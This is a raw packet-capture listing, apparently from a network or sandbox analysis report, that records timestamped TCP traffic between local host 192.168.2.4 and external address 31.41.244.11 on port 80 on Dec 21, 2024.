                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.760303974 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.760365963 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.760438919 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.761600971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.761650085 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.761661053 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.761702061 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.762541056 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.762589931 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.762669086 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.762715101 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.763729095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.763781071 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.763839006 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.763883114 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.765057087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.765100002 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.765105963 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.765145063 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.766052961 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.766077042 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.766100883 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.766118050 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.767117977 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.767163038 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.767219067 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.767268896 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.768290997 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.768307924 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.768343925 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.769424915 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.769442081 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.769483089 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.769509077 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.770467043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.770519972 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.770579100 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.770745993 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.771569014 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.771620989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.772228003 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.772279024 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.772941113 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.772957087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.772991896 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.773009062 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.773854017 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.773916006 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.773952007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.773961067 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.775324106 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.775351048 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.775372028 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.775388956 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.776160002 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.776207924 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.776300907 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.776345015 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.777631044 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.777714968 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.777765036 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.778662920 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.778714895 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.778721094 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.778749943 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.779743910 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.779797077 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.779850960 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.779895067 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.780965090 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.780991077 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.781035900 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.781956911 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.782005072 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.782037973 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.782084942 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.783384085 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.783409119 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.783451080 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.784409046 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.784461021 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.784657955 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.784708977 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.785434008 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.785482883 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.785564899 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.785618067 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.786585093 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.786638021 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.786752939 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.786793947 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.787687063 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.787735939 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.787887096 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.787959099 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.788986921 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.789037943 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.789134979 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.789186954 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.790186882 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.790268898 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.790302038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.790353060 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.791239023 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.791290998 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.791335106 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.791436911 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.792391062 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.792440891 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.792454004 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.792501926 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.793389082 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.793435097 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.793489933 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.793534994 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.794603109 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.795167923 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.795213938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.795840979 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.795886040 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.795918941 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.795964956 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.796802044 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.796844959 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.796904087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.796948910 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.798144102 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.798211098 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.798257113 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.799165010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.799218893 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.799385071 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.799446106 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.800477982 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.800493956 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.800525904 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.800539017 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.801553965 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.801639080 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.801671982 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.801714897 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.802582979 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.802624941 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.802788973 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.802831888 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.803817987 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.803860903 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.803981066 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.804023981 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.804897070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.804939032 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.804969072 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.805012941 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.805986881 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.806149006 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.806195974 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.807128906 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.807178020 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.807193041 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.807239056 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.919375896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.919389963 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.919436932 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.919775963 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.919919014 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.919967890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.920788050 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.920887947 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.920933962 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.922058105 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.922106028 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.922161102 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.922403097 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.945451021 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.945518970 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.945519924 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.945558071 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.945780039 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.945837021 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.946034908 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.946111917 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.946934938 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.946985960 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.947180986 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.947333097 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.947813988 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.947932959 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.947984934 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.949557066 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.949614048 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.949712992 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.949759007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.950516939 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.950531960 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.950562000 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.950582981 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.951570988 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.951586962 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.951630116 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.952874899 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.952917099 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.952925920 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.952960014 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.953810930 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.953860044 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.953990936 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.954206944 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.954891920 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.954938889 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.954972029 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.955046892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.956020117 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.956078053 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.956161022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.956203938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.957155943 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.957214117 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.957371950 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.957453012 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.958247900 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.958302975 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.958313942 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.958359957 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.959386110 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.959580898 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.959629059 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.960517883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.960565090 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.960634947 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.960683107 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.961756945 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.961833000 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.961879969 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.962816000 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.962873936 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.962951899 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.963001013 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.963990927 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.964029074 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.964052916 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.964076996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.965178013 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.965248108 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.965286016 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.965328932 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.966243982 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.966341019 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.966355085 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.966379881 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.967449903 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.967494011 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.967592001 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.967736006 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.968883038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.968938112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.968967915 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.969007969 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.970062017 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.970079899 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.970108986 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.970138073 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.970879078 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.970896959 CET804985031.41.244.11192.168.2.4
